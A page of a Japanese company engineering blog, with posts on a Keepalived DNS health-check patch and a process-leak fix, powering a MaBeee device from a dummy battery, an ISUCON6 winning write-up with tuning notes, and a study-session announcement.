    2016年11月21日

    Keepalived 1.3.0 リリース!ヘルスチェック強化パッチが本家にマージされました

    はてなブックマークに登録

    @pandax381です。本日、Keepalived の新バージョン 1.3.0 がリリースされましたが、みなさんバージョンアップはお済みですか?

    2016-11-20 | Release 1.3.0
    New MAJOR release with stabilization fixes. Support to DBus. Conf extensions. Parser error log. Security extensions to run scripts more secure. Refer to ChangeLog for more infos.

    (開発 ML へのアナウンスでは 2.0.0 が近々リリースされることも予告されています)

    this quick email to announce new major keepalived release. We are planing with Quentin to push a new release soon as 2.0.0 release. This one fix and extend previous parts. It also came with a Security fix for those making extensive use of scripts.

    今回リリースされた 1.3.0 での大きな変化は DBus 対応とスクリプト実行にセキュリティ機構が導入された点ですが、僕が投げたパッチもひっそりとマージされているのでアリバイ作り*1のために紹介します。

    *1: インフラ部門で働くCプログラマの話 参照

    ヘルスチェック強化パッチ

    Keepalived にはリアルサーバを監視するヘルスチェック機能が備わっていますが、標準で対応しているプロトコルが「TCP」「HTTP(S)」「SMTP」のみと限定的です。HTTP と SMTP 以外は TCP の疎通確認以上のことをやりたければ、自前でヘルスチェック用のスクリプトを用意しなければなりません。

    自前のヘルスチェックスクリプトを実行する MISC_CHECK は微妙な問題を抱えていたため、KLab では Keepalived のヘルスチェックを強化するパッチを開発・公開していました。(微妙な問題については後述します)

    このパッチは、ヘルスチェックの対応プロトコルに「FTP」「DNS」「SSL」を追加するものです。記事の中では「まだDSASの本番環境には適用していません」となっていますが、その後まもなく本番環境にも導入され、現在も絶賛稼働中です。

    独自パッチの宿命とも言えるのが、本家のバージョンアップへの追従です。公開しているパッチは 10 年も前に書いたものなので、そのままでは現在のバージョンに適用できませんが、社内では必要に迫られるたびにパッチを更新し続けています。それでも、新バージョンがリリースされて更新しようとした際にパッチ適用がネックになってしまうのはちょっとツライです。こうした独自パッチの宿命から解放されるには、独自パッチを卒業して本家にマージしてもらう他ありません。

    結論から先に書くと、タイトルにもある通り独自パッチを卒業してめでたく本家にマージされ 1.3.0 から標準機能になりました。

    これがヘルスチェックを強化するパッチのプルリクエストです。オリジナルのパッチは、FTP・DNS・SSL に対応させるものでしたが、現在 DSAS で使っているのは DNS だけということもあり、標準のヘルスチェック機能に DNS ヘルスチェック(DNS_CHECK)を追加する内容になっています。

    DNS_CHECK の書式は以下の通りです。

        # one entry for each realserver
        real_server <IPADDR> <PORT>
        {
               # DNS healthchecker
               DNS_CHECK
               {
                   # ======== generic connection options
                   # Optional IP address to connect to.
                   # The default is the realserver IP
                   connect_ip <IP ADDRESS>
                   # Optional port to connect to
                   # The default is the realserver port
                   connect_port <PORT>
                   # Optional interface to use to
                   # originate the connection
                   bindto <IP ADDRESS>
                   # Optional source port to
                   # originate the connection from
                   bind_port <PORT>
                   # Optional connection timeout in seconds.
                   # The default is 5 seconds
                   connect_timeout <INTEGER>
                   # Optional fwmark to mark all outgoing
                   # checker packets with
                   fwmark <INTEGER>
    
                   # Number of times to retry a failed check
                   # The default is 3 times.
                   retry <INTEGER>
                   # DNS query type
                   #   A | NS | CNAME | SOA | MX | TXT | AAAA
                   # The default is SOA
                   type <STRING>
                   # Domain name to use for the DNS query
                   # The default is . (dot)
                   name <STRING>
               }
        }
    

    いろいろオプションがありますが、最低限「type」と「name」を適切に設定してあげれば動きます。

        realserver 192.0.2.100 53 {
               DNS_CHECK {
                   type A
                   name www.klab.com
               }
        }
    

    ヘルスチェックの成功可否は、ANSWER SECTION に1件以上の回答がある応答を得られるかどうかで判断しています。したがって、レスポンスパケットを受け取っても ANSWER SECTION が空の場合にはそのパケットは無視します。実用性があるかどうかは別として、やろうと思えば DNS のレコードの登録状況によってヘルスチェックの結果を制御することも出来ます。

    ついでにバグも退治しました

    先に「自前のヘルスチェックスクリプトを実行する MISC_CHECK は微妙な問題を抱えていた」と書きましたが、これまでのバージョンの keepalived にはMISC_CHECK から実行されるヘルスチェック用のスクリプトが刺さるとプロセスが増殖してしまうというバグがありました。

    例えば、以下のような設定で MISC_CHECK を実行すると簡単に再現できます。

    MISC_CHECK {
        misc_path "/bin/sleep 3600"
        misc_timeout 10 
    }
    

    MISC_CHECK は、実行したスクリプトが misc_timeout を経過しても終了しない場合にはシグナルを送信して強制的に終了させる作りになっています。しかし、このシグナル送信の処理に問題があり、本来は misc_timeout が経過した後に強制終了させられるはずのプロセスが残り続け、順次新しいプロセスが生成されて結果的にプロセスが大量に増殖してしいます。

    UID   PID  PPID  PGID   SID COMMAND
      0 41010     1 41010 41010 /sbin/keepalived
      0 41013 41010 41010 41010  \_ /sbin/keepalived
      0 41361 41013 41010 41010  |   \_ /sbin/keepalived
      0 41362 41361 41010 41010  |   |   \_ sh -c /bin/sleep 3600
      0 41363 41362 41010 41010  |   |       \_ /bin/sleep 3600
      0 41364 41013 41010 41010  |   \_ /sbin/keepalived
      0 41365 41364 41010 41010  |   |   \_ sh -c /bin/sleep 3600
      0 41366 41365 41010 41010  |   |       \_ /bin/sleep 3600
      0 41367 41013 41010 41010  |   \_ /sbin/keepalived
      0 41368 41367 41010 41010  |       \_ sh -c /bin/sleep 3600
      0 41369 41368 41010 41010  |           \_ /bin/sleep 3600
      0 41014 41010 41010 41010  \_ /sbin/keepalived
      0 41019     1 41010 41010 sh -c /bin/sleep 3600
      0 41020 41019 41010 41010  \_ /bin/sleep 3600
      0 41025     1 41010 41010 sh -c /bin/sleep 3600
      0 41026 41025 41010 41010  \_ /bin/sleep 3600
      0 41031     1 41010 41010 sh -c /bin/sleep 3600
      0 41032 41031 41010 41010  \_ /bin/sleep 3600
    

    MISC_CHECK はヘルスチェック用のスクリプトを実行するために fork(2) してから system(3) を実行しているため、シグナルを送信するプロセスから見て終了させたいプロセスは「ひ孫」の関係にあります。もともとのコードでは、子プロセスに対してのみシグナルを送信していた*2ため、子プロセスのみが終了して孫プロセスとひ孫プロセスが残り続けてしまうというバグでした。

    上記はこのバグを修正するためのプルリクエストです。MISC_CHECK が fork(2) した段階で、setpgid(2) を実行してプロセスグループを分離するようにしました。signal(2) はプロセスグループを指定することで、そのプロセスグループに属する全てのプロセスに対してシグナルを送ることができるので、子プロセスからひ孫プロセスまで全てのプロセスにシグナルを送信するように修正しました。

    この修正もマージされていますので、1.3.0 からは安心して MISC_CHECK を利用できるようになりました。

    *2: 実際には更にバグがあり、肝心の子プロセスも意図せずにシグナル(SIGTERM)を無視してしまう状態になっていて、最終手段として実装されていた強制終了のシグナル(SIGKILL)を受けて殺されているという微妙な状態でしたが、これも修正しました

    苦労話など

    既存のパッチを本家に取り込んでもらった風に書きましたが、実際にはスクラッチで書き直したので既存のコードはほとんど残っていません。

    これには、keepalived が備えているヘルスチェックのフレームワークが TCP を前提としていて UDP のことを考慮しておらず、オリジナルのパッチではソケット周りの処理を全て自前で書いていたという理由があります。そのため、標準のヘルスチェックのコードと比べるとお作法的にお行儀が悪そうな状態で、そのままプルリクを投げたら嫌がられるかもという状態でした。とは言え、フレームワーク側が UDP を考慮していないため他にうまくやる方法もなく、あれこれ悩んだ末に keepalived 本体に手をつけてフレームワークの作りを修正することにしました。(ヘルスチェックの各機能はモジュールのような位置付けで機能追加であれば気軽にできるのですが、本体側の修正となると心理的なハードルがだいぶ上がります)

    このコミットで、TCP しか考慮していなかったフレームワークを UDP にも対応させました。フレームワークを利用している既存のコードを変更しないように、インライン関数でラッパーを作成して互換性を維持するようにしています。この修正によって UDP ベースのヘルスチェッカーが作りやすくなっているので、もしかしたら対応プロトコルが増えるかもしれません。

    あと、一番苦労したのはコード書くよりもプルリクエストのメッセージを書くことでした。なにより僕が英語が絶望的に出来ないというのもありますが、「それ MISC_CHECK でやって」と言われてしまうと終了してしまうので、標準のヘルスチェッカーに組み込んでもらいたいという熱い思いを伝えるのに注力しました。精度が上がる前の Google 翻訳に泣かされつつも、結果的に好意的に受け入れてもらえて本当に良かったです。

    恐らく、これが自分のコードが取り込まれた中で一番有名で大きなプロダクトだと思うので、素直に嬉しいです。需要があるかどうかわかりませんが、DNSヘルスチェック機能を是非使ってみてください!


    pandax381 at 20:29
    この記事のURLComments(0)TrackBack(0)
    2016年11月07日

    MaBeee をダミー電池で利用する

    はてなブックマークに登録

    MaBeee のこと

    MaBeee が気に入っています。
    MaBeee は単四電池を装着することで無線制御可能な単三電池として振る舞うユニークな BLE(Bluetooth Low Energy)デバイスです。昨年(2015年)末に Makuake に登場して注目を集め今年8月に一般販売が始まりました。給電のオンオフや出力電圧レベルをスマホやタブレットから簡単にコントロールできるためホビー系の機器などで活用している方も多いことでしょう。。


    http://mabeee.mobi/

    手軽で実用性のある MaBeee ですが、パワーの弱い単四電池での稼働が前提であることを残念に思うことがありました。もちろん、そもそも MaBeee はこのようなスタイルを実現するためにこそ緻密にデザインされた製品なのであくまでも一利用者のわがままではありますが、一方で、より容量の大きいバッテリーや AC 電源で腰を据えて使用できればこの製品の用途がさらに拡がると考えました。そこで役に立ったのがダミー電池です。

    ダミー電池?

    ダミー電池は乾電池と同じサイズ・形状をしており、内部でプラス極とマイナス極が直結しているタイプが基本です。当然ながら充電器への装着は厳禁。電圧調整等の目的に利用され、その方面ではメジャーなアイテムであることを知りました。自作する向きもあるようです。

    http://store.shopping.yahoo.co.jp/ http://eleshop.jp/ http://www.amazon.co.jp/

    工作向けのダミー電池と MaBeee

    上のように両極をショートさせ全体をシールドしているもの以外に、自分で配線したり回路を組み込んだりすることのできるもタイプもあります。これを MaBeee への給電用に使えば良さそうです。ただ、このタイプは種類が少なく一般のメーカーやパーツ屋さんの扱っているものの中に単四型はまず見かけません。


    http://www.marutsu.co.jp/

    単四サイズのものを自作する選択もありますが、ただでさえ精密でデリケートな MaBeee を何かの拍子に傷めるリスクを考えるとあまり気が進まず、ネットを探して以下の製品に行き着ました。工作機械で加工を施したプラスティック製品や機械本体を製造・販売している「工房モコ」さんによる貴重なダミー電池のラインナップです。

    「工房モコ」こんな物いかが? - www.geocities.jp/moco7jp


    ●ハイパーダミー電池(高機能にしていただくタイプ)

    ハイパーダミー電池はユーザーが内部に回路を仕込んで高機能にしていただくタイプです。
    抵抗を入れたり、ダイオードを入れたり、回路をいれたり、機器を外部電源で使いたい時、外部電源との橋渡しに、・・・ どんな工夫ができるかな。
    発生した損害は自己責任でお願いします。

    電池の種類は、次の6種類を用意しています。
     単一 単二 単三 単四 単五 CR123A

    内部のH形のブリッジ部は、不要ならニッパーでカットすれば取り除けます。
    4ケ所のくびれた所をカットして下さい。御希望によりカットして出荷します。

    さっそく単四型のものを購入しました。シンプルな作りながら扱いやすいように工夫されており仕上げも丁寧です。

    単四型の現物 給電用のコードを取り付ける MaBeee へ装着し電池ボックスへ

    ともに「バーチャルな乾電池」である MaBeee とダミー電池の取り合わせ。何やら連想が膨らみます。


    (tanabe)
    klab_gijutsu2 at 10:44
    この記事のURLComments(0)TrackBack(0)Bluetooth 
    2016年10月24日

    ISUCON6 で優勝しました

    はてなブックマークに登録

    @methane です。タイトルの通り、 ISUCON でとうとう優勝してきました。

    チームメンバーは、(予選と同じく) @kizkoh (インフラ担当), @mecha_g3 (アプリ担当) でした。

    私は予選のときはガッツリとアプリを書いていたのですが、本戦では netstat -tn (←老害), top, dstat -ai, sudo perf top などをみつつ指示をだしたり、方針を決めたり、完全に未経験だった node.js & react.js 対策をしたりが主な仕事で、あとは序盤のインフラのタスクが大量にあるときに MySQL を docker から外して基本的なチューニングを入れたり Go を100行程度書いただけです。

    結果的には優勝できましたが、メンバーの2人がよく準備し本番でも実力を発揮してくれたのに対して 僕の戦略ミスで中盤から全くスコアを上げられなかったので、最後までヒヤヒヤしていました。

    ということで、 nginx や Go でやったことはメンバーの二人が別に記事を書いてくれると思うので、 私の目線で考えたこと、自分でやったことや方針を決めて指示したこと、その考察を書いていきたいと思います。

    お題と初期構成について

    お題は、リアルタイムに他人の書いた線が他のユーザーに見えるようなお絵かき掲示板でした。

    構成が特徴的で、

    • フロントにいるのが通常の Web サーバーではなくて、 react.js を使ったアプリを含む node.js サーバー (以下react)
    • そこからリバースプロキシされる形でアプリが存在し、それには各言語の実装がある (以下app)
    • app のバックエンドとしては MySQL がいる
    • react, app, MySQL がすべて docker になっていて、 docker-compose で動いている

    というものでした。

    ベンチマーカーは react の Web アプリを想定しているようで、 bundle.js というファイル(react を 全く知りませんが、たぶんサーバーサイドとクライアントサイドで共通なファイル)が1バイトでも変化したら FAIL していたので、かなり厳密にチェックしていたのだと思います。

    Docker は @kizkoh が判るということでしたが、 node.js & react が全く分からないのがとにかくつらい。

    「react が判らないと勝てない問題なら多言語用意する意味ないし、きっと簡単にここはボトルネックじゃなくなって、 1本線を引いたらそれを何百人に転送して何百点もバーンと入るような問題だ。それならGoは得意だし、 ネットワークで協力プレイするサーバーをGoで開発してる僕らも得意だ。実力出せば勝てる」と メンバーと自分に言い聞かせてスタートしました。

    序盤戦 (~14:00 くらい)

    初回ベンチを終え、 @kizkoh が nginx の準備、 @mecha_g3 がアプリ開発&チューニングの準備を しているあいだに、フロントの react の server.jsx というファイルと Go アプリのルーティング部分を見て、 フロントに追加する nginx のリバースプロキシ設定 (/api/ は直接 app にリバースプロキシして、それ以外は react にリバースプロキスするなど) をまとめたり、 @mecha_g3 に room のオンメモリ化を始めるように指示したりしました。

    このときはまだ react がボトルネックでなくなるという楽観的な前提だったので、まずは @mecha_g3 に線を書くところとそれを SSEで配信するところでオンメモリ化を進めてもらいつつ、 react を docker から引きずり出したり、共有していた開発環境に MySQL をセットアップしてインフラ再構築中でも app の動作確認ができる状況を用意してから、腹をくくって react の server.jsx というファイルを読み始めました。 (server.jsxのソースコード)

    そうすると、下の方で renderString() しているところは、ここからHTMLはブラウザで見たソースがどうやって生成されるのか 全くわからない上に、HTMLの方にはたぶんクライアントとサーバーの整合性を確認するためのものと思われるチェックサムがあって、 何をしたら fail するのか分からないできるだけ触りたくない部分に見えた一方、上の方にはいかにもここをチューニングしてくれ という雰囲気で /img/:id というパスの処理をしているコードが目に止まりました。ここもどうやってXMLができるのか全くわからない ものの、レスポンスヘッダを設定しているところから生の svg を生成していることが一目瞭然でした。

    /img/:id: の部分は renderString() ではなくて renderToStaticMarkup() という関数を使っていたので、この関数のリファレンスを 探して見てみます。

    https://facebook.github.io/react/docs/react-dom-server.html#rendertostaticmarkup

    Similar to renderToString, except this doesn't create extra DOM attributes such as data-reactid, that React uses internally. This is useful if you want to use React as a simple static page generator, as stripping away the extra attributes can save lots of bytes.

    要するに react の魔術がかかってないプレーンなデータを作るための関数のようです。これは出題者からのヒントだろう。XML生成とか いかにも重そうだし、ここをキャッシュするとか 304 not modified を返せば一気に react は問題にならなくなるんだろう、という希望的予測を立てました。

    なお、競技終了後にちょっとディレクトリツリーに目を通してみたら、すぐに components/ というディレクトリ配下にコンポーネント(テンプレート+コード)があって xml を生成している Canvas というコンポーネントも判りました。このディレクトリを見ていればその後の戦略ももっと変わったかもしれません。 ちょっと検索すれば、同じディレクトリにある Room というコンポーネントで同じ Canvas コンポーネントを利用してるのが判るので、 /img/:id だけ 高速化しても react 全体が軽くはならないだろう、 /room/:id も対策が必要だという前提で進められていたはずです。

    緊張状態では知らない技術は10倍怖いし、ベンチマーカーが何をチェックしてるかわからないのも10倍怖くて、計100倍の怖さだもんね。仕方ないね。

    中盤戦 (~16:30 くらい)

    react から ssl を外してフロントを nginx にするとか docker 外しとか一通り終わったので、 @kizkoh には「やりたいことが残ってるならやってていいけど、 無いならムリに何かしようと頑張るより終盤に向けて休憩取っておいて」という指示を出し、 app が返す json とそれを react が変換してブラウザに返す svg を見比べながら、 その svg を Go の内部のデータ構造から直接生成するような fmt.Printf の塊を作ります。 (ソースコード)

    @mecha_g3 のオンメモリ化が終わってからつなぎ込み、svgはあっさりベンチをパス。ただGoに持っていってもsvg生成は結構重い(想定内)ので、 @mecha_g3 にキャッシュを依頼。 その時ちょっと面白がって、 stroke が書かれたときのキャッシュの更新でひと工夫。 svg の更新は stroke の追記オンリーなので、全部再生成するのではなくて、単に追加された stroke を最後の </svg> タグの手前に挿入するだけにしてもらいました。スコアにどれくらい影響があったのかはわかりませんが、これが簡単にできたのはGoらしい部分でした。

    とはいえ、この工夫が強かったのかと言うと、試してみないとわからないものの、svgを静的ファイルに吐き出してnginxで返すことで参照性能上げたほうが、更新性能を上げるよりスコア上がった可能性が大きいと思います。

    さらに、可能性としては、react側の /room/:id を弄ることができれば、 react から静的ファイルを読み込んで埋め込むのは簡単だったはずです。 静的ファイルを使う場合分散構成がネックになりますが、同じ部屋へのアクセスが同じサーバーに分散されるような nginx の設定は @kizkoh ならすぐにやってくれたはずです。

    終盤戦

    序盤に考えていたことは実現できたものの、そのときに妄想していたレベルの性能は全然出ていません。

    インフラ側でも問題が色々でていましたし、なにより react のCPU使用率が支配的で app の性能を全く活かせていません。

    今から react を調べてハマらずにチューニングするのはバクチ過ぎて、暫定ダントツトップの状態から挑戦するのはナシです。 ここまで1台で動かしてきたのを、MySQL を isu2 に (これは僕の指示でしたが、データセットが初期状態にもどって軽くなる以外は無意味でした…)、 react を isu3-5 で動かす分散構成に移行します。

    他にも too many open files とか TIME_WAIT とかが問題になっていたので、 nofiles や tcp_tw_reuse などを設定するように指示しつつ、 react が HTTP keep-alive を頑なに拒否していたのを直していきます。

    まず、 nginx -> react のリバースプロキシ部分で全く keep-alive されないのは、 express.js 部分でレスポンスヘッダーを追加するAPIを調べて res.append('Connection', 'keep-alive') を追加したら直りました。 一方 react -> app の方が問題で、ライブラリの依存関係を潜っていった結果、 bitinn/node-fetch の中の次のようなコードを削除するというちょっと強引な方法で解消しました。

    // https://github.com/bitinn/node-fetch/blob/master/index.js#L79-L81
    		if (!headers.has('connection') && !options.agent) {
    			headers.set('connection', 'close');
    		}
    

    こういった修正を、再起動試験の合間を縫ってやっていたのですが、終盤はタイムリミットが近づくにつれ何もしなくてもどんどんスコアが下がる状況に陥っていて、 ベストスコアの 85k 点は最後の修正が入ってない状態でした。

    考察

    終盤にスコアが伸び悩んだ(むしろ落ちた)のが帯域がネックだと予想している点について補足しておきます。 今回使ったインスタンスは2コアの D2v2 で、ベンチマーカーがアクセスするインスタンスは1台のみ、次のグラフは終盤のベンチにおけるその1台の帯域 (bytes/sec) です。

    帯域グラフ

    2コアのインスタンスで100MB/secを超えてるのはすごいですね。グラフがガタガタなのは、多分ベンチマーカーが波状攻撃をしかけてきたからだと思います。

    次は、各パスへのアクセス数です。集計しているのはベンチマーカーからのアクセスのみで、 react -> app へのアクセスが含まれていません。(これも重要な情報なので、 直接アクセスさせていたのは僕の判断ミスでした)

    Request by count
    11106 GET /img/*
    178 GET /
    112 GET /bundle.js
    112 GET /css/rc-color-picker.css
    112 GET /css/sanitize.css
    49 GET /rooms/*
    46 POST /api/strokes/rooms/*
    41 GET /api/rooms
    20 GET /api/stream/rooms/*
    3 POST /api/rooms
    2 GET //admin/config.php
    1 GET /api/rooms/1088
    

    次は、同じくベンチマーカーに返していたレスポンスの、各パスごとの合計/平均バイト数です。

    Request by out bytes
    2511686449 14110598 GET /
    272792736 6653481 GET /api/rooms
    266967906 24038 GET /img/*
    36283072 323956 GET /bundle.js
    9725553 198480 GET /rooms/*
    764377 38218 GET /api/stream/rooms/*
    340144 3037 GET /css/sanitize.css
    303520 2710 GET /css/rc-color-picker.css
    184982 4021 POST /api/strokes/rooms/*
    75910 75910 GET /api/rooms/1088
    1017 339 POST /api/rooms
    490 245 GET //admin/config.php
    

    一番帯域を使っている / ですが、これは react から外せていないパスで、この大きいレスポンスが react (別サーバー) -> nginx -> ベンチマーカーに流れているので、 nginx を置いてるマシンの in と out の帯域が同じくらいになっています。

    2番めの /api/rooms ですが、これは直接クライアントから呼ばれるのが41回、(多分)/rooms/* を処理している react からアクセスされるのが他に 49 回あるので、 実際に使っている帯域はこの倍以上あったはずで、ここが帯域に引きずられてタイムアウトしやすくなったのがスコアが安定しなかった理由だと思います。

    まだ見れてないですが、 / に帯域を減らせるような仕込みがあったのかもしれません。また、それを攻略できなかったとしても、 nginx で全体に ratelimit をかけて 帯域を食うパスを遅くする代わりにそれ以外のパスでタイムアウトになる数を減らすことで、もっとクライアントの並列度を稼いでスコアを取れたかもしれません。

    せっかくこれだけの情報を取れていながら、終盤はテンパっていて全然考察できていませんでした。再起動試験中に冷静に最後のもうひと稼ぎを考えないといけませんね。

    感想

    例年は自分が一番アプリを書ける、かつインフラのチューニングも一番判るという状態で、新卒メンバー2人にタスクを振るという戦い方をしていました。

    今年は、 @mecha_g3 を自分と同じくらいアプリが書けると信頼して大まかな方針だけ共有するだけで済んだし、 @kizkoh も僕が全然キャッチアップできていない 近年のミドルウェアを予習してきてくれておまかせできた上に、アプリチューニングが入る前からインフラだけでスコアを伸ばしてくれたおかげで、 手を動かさずに目と頭を使う戦い方ができました。

    まだまだ僕の力不足で出題側の想定解法にはたどり着けませんでしたが、3人で強いチームがISUCONで強いチームだということを強く実感でき、 スポコンマンガの登場人物になったかのような快感・達成感を得ることができました。 このチームであと10回くらい勝って賞金で新車のWRXを買いたいです。

    終わりになりますが、運営・協賛の各位、特に毎年増え続ける参加者をあたたかみのある運用で運営してくださっている櫛井さんと、 毎年上がり続ける出題レベルのプレッシャーに見事に応える良問と安定ベンチマークシステムを作ってくださった出題チームに感謝いたします。


    songofacandy at 19:09
    この記事のURLComments(0)TrackBack(0)ISUCON 

    KLab 勉強会 #7 -KLabインフラの今- を開催 & 資料公開しました!

    はてなブックマークに登録

    こんにちは、インフラエンジニアの大野です。

    10 月 18 日、 KLab 本社にて KLab 勉強会 #7 -KLabインフラの今- を開催しました。

    DSAS開発者の部屋:KLab 勉強会 #7 開催のお知らせ
    KLab 勉強会 #7 -KLabインフラの今- - connpass

    4 年ぶりの開催となったにもかかわらず、予想を上回る多数の方にご来場いただきました。
    ご来場いただいたみなさま、誠にありがとうございました。

    当日の発表内容は現在取り組み中のコンテナ技術を取り入れた次世代 DSAS の構想、 DSAS で培った運用とクラウドサービスを活用した独自要件のインフラ運用、そして KLab の OSS や研究開発といったブログでは記事を執筆していない内容のものばかりで、懇親会も含め大変好評でした。

    当日の発表資料をまとめていますのでぜひご覧ください。

    発表資料

    DSAS Next (by 勝見)

    KLAWS on GCP (by 千葉)

    インフラ部門で働くCプログラマの話 (by 山本)

    発表内容の構想中や取り組み中の技術についてはまとまり次第、随時ブログ記事とすることを予定しています。

    KLab 勉強会は 4 年ぶりの開催となりましたが、今後は頻度を上げて様々なテーマに展開し勉強会を開催していく予定です。 次回の勉強会の日程が決まりましたら、こちらにてアナウンスしたいと思います。

    今後もよろしくお願いします!


    klab_gijutsu2 at 08:30
    この記事のURLComments(0)TrackBack(0)
    2016年10月05日

    KLab 勉強会 #7 開催のお知らせ

    はてなブックマークに登録

    新卒入社 3 年目の大野です。

    第7回 KLab 勉強会のお知らせです。

    前回が 2012 年の開催で 4 年も空いてしまっていますが、第 7 回ということで開催します。

    今回はインフラにフォーカスを当てた内容のセッションを 3 本ご用意しています。

    数年前より KLab ではオンプレ以外にもクラウドを活用したサービスの運用を行っています。 オンプレとクラウド両方の観点からそれぞれの特徴を生かしたサービス運用とそれを支える技術について直近の課題を交え KLab の今のインフラについてご紹介します。

    また、ささやかですが懇親会もご用意しております。みなさまのご参加をお待ちしております!

    開催要項

    日時
    2016/10/18 (火) 19:20-21:50 (19:00 受付開始/懇親会有)
    場所
    KLab株式会社 ミーティングルームKLM
    東京都港区六本木 6-10-1 六本木ヒルズ森タワー22F
    (アクセス方法)
    参加費
    無料
    人数
    50名

    参加方法

    connpass の KLab勉強会 #7 から参加登録してください。


    klab_gijutsu2 at 13:55
    この記事のURLComments(0)TrackBack(0)
    Blog内検索
    このブログについて
    DSASとは、KLab が構築し運用しているコンテンツサービス用のLinuxベースのインフラです。現在5ヶ所のデータセンタにて構築し、運用していますが、我々はDSASをより使いやすく、より安全に、そしてより省力で運用できることを目指して、日々改良に勤しんでいます。
    このブログでは、そんな DSAS で使っている技術の紹介や、実験してみた結果の報告、トラブルに巻き込まれた時の経験談など、広く深く、色々な話題を織りまぜて紹介していきたいと思います。
    最新コメント
    最新トラックバック
    Archives
    Syndicate this site